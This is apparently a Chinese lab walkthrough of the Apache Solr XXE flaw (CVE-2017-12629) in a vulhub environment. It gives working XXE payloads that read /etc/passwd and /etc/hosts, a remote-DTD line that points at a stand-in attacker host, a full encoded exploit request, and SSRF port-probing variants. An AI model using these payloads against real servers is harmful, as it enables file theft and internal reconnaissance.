Apache Solr XXE(CVE-2017-12629)--vulhub

Apache solr XML 实体注入漏洞(CVE-2017-12629)

XXEpayload

xml 复制代码
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/hosts">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message>any text</message>

其他dtd文件

利用jar包中的dtd文件

xml-dtd 复制代码
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/solr/server/solr-webapp/webapp/WEB-INF/lib/lucene-queryparser-7.0.1.jar!/org/apache/lucene/queryparser/xml/LuceneCoreQuery.dtd">

远程dtd文件

xml-dtd 复制代码
<!ENTITY % local_dtd SYSTEM "http://evil.host.name/include.dtd">

### include.dtd ### 
<!ENTITY % test "example">
<!ELEMENT pattern (%test;)>

单行payload

xml 复制代码
<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">    <!ENTITY % expr 'aaa)>        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">        &#x25;eval;        &#x25;error;        <!ELEMENT aa (bb'>    %local_dtd;]><message>any text</message>

将payload进行url编码(xxe代码转为单行后的代码)

复制代码
%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20message%20%5B%20%20%20%20%3C!ENTITY%20%25%20local_dtd%20SYSTEM%20%22file%3A%2F%2F%2Fusr%2Fshare%2Fxml%2Ffontconfig%2Ffonts.dtd%22%3E%20%20%20%20%3C!ENTITY%20%25%20expr%20%27aaa)%3E%20%20%20%20%20%20%20%20%3C!ENTITY%20%26%23x25%3B%20file%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%20%20%20%20%20%20%20%20%3C!ENTITY%20%26%23x25%3B%20eval%20%22%3C!ENTITY%20%26%23x26%3B%23x25%3B%20error%20SYSTEM%20%26%23x27%3Bfile%3A%2F%2F%2Fnonexistent%2F%26%23x25%3Bfile%3B%26%23x27%3B%3E%22%3E%20%20%20%20%20%20%20%20%26%23x25%3Beval%3B%20%20%20%20%20%20%20%20%26%23x25%3Berror%3B%20%20%20%20%20%20%20%20%3C!ELEMENT%20aa%20(bb%27%3E%20%20%20%20%25local_dtd%3B%5D%3E%3Cmessage%3Eany%20text%3C%2Fmessage%3E

构造数据包发送

复制代码
GET /solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20message%20%5B%20%20%20%20%3C!ENTITY%20%25%20local_dtd%20SYSTEM%20%22file%3A%2F%2F%2Fusr%2Fshare%2Fxml%2Ffontconfig%2Ffonts.dtd%22%3E%20%20%20%20%3C!ENTITY%20%25%20expr%20%27aaa)%3E%20%20%20%20%20%20%20%20%3C!ENTITY%20%26%23x25%3B%20file%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%20%20%20%20%20%20%20%20%3C!ENTITY%20%26%23x25%3B%20eval%20%22%3C!ENTITY%20%26%23x26%3B%23x25%3B%20error%20SYSTEM%20%26%23x27%3Bfile%3A%2F%2F%2Fnonexistent%2F%26%23x25%3Bfile%3B%26%23x27%3B%3E%22%3E%20%20%20%20%20%20%20%20%26%23x25%3Beval%3B%20%20%20%20%20%20%20%20%26%23x25%3Berror%3B%20%20%20%20%20%20%20%20%3C!ELEMENT%20aa%20(bb%27%3E%20%20%20%20%25local_dtd%3B%5D%3E%3Cmessage%3Eany%20text%3C%2Fmessage%3E HTTP/1.1
Host: 192.168.200.142:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

进行发包,响应包是400,结果回显到了响应包中

读取/etc/passwd

读取/etc/hosts文件

复制代码
<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">    <!ENTITY % expr 'aaa)>        <!ENTITY &#x25; file SYSTEM "http://192.168.200.142:8983">        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">        &#x25;eval;        &#x25;error;        <!ELEMENT aa (bb'>    %local_dtd;]><message>any text</message>

返回包400,有命令回显

使用http探测端口开放情况

复制代码
<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">    <!ENTITY % expr 'aaa)>        <!ENTITY &#x25; file SYSTEM "http://192.168.200.142:8983">        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">        &#x25;eval;        &#x25;error;        <!ELEMENT aa (bb'>    %local_dtd;]><message>any text</message>

这里探测8983端口,解析xml出错,说明端口是开放的

22端口则提示不合法的http

未开放端口则会提示,拒绝连接

相关推荐
HEADKON6 小时前
普托马尼Pretomanid对比贝达喹啉治疗耐多药结核病毒性大吗?
solr
IT布道11 小时前
[Web安全] SVG文件上传风险与Apache防御配置实践
web安全·apache·xss
卷Java11 小时前
DeepSeek V4 开源 Apache 2.0 之后,闭源模型还香吗?
开源·apache
zhojiew12 小时前
在AWS中国区使用NYC Taxi数据集在Apache Flink(KDA)中实现流数据处理管道的实践
flink·apache
m0_474606781 天前
JAVA - 使用Apache POI 自定义报表字段手写导出(支持-合并单元格)
java·开发语言·apache
Harm灬小海1 天前
【云计算学习之路】企业常用服务搭建:构建Apache WEB服务器
运维·服务器·学习·云计算·apache
顧棟2 天前
Apache-doris 集群扩缩容迁移方案
apache
顧棟2 天前
Apache-doris-2.0.2原地滚动升级3.1.4方案
apache
ew452182 天前
【Java】Apache POI 终极封装:支持多表格循环、图片插入、日期格式化的Word导出工具类(兼容POI3.17+)
java·word·apache
小皮蛋儿子2 天前
mac 微信双开
linux·服务器·apache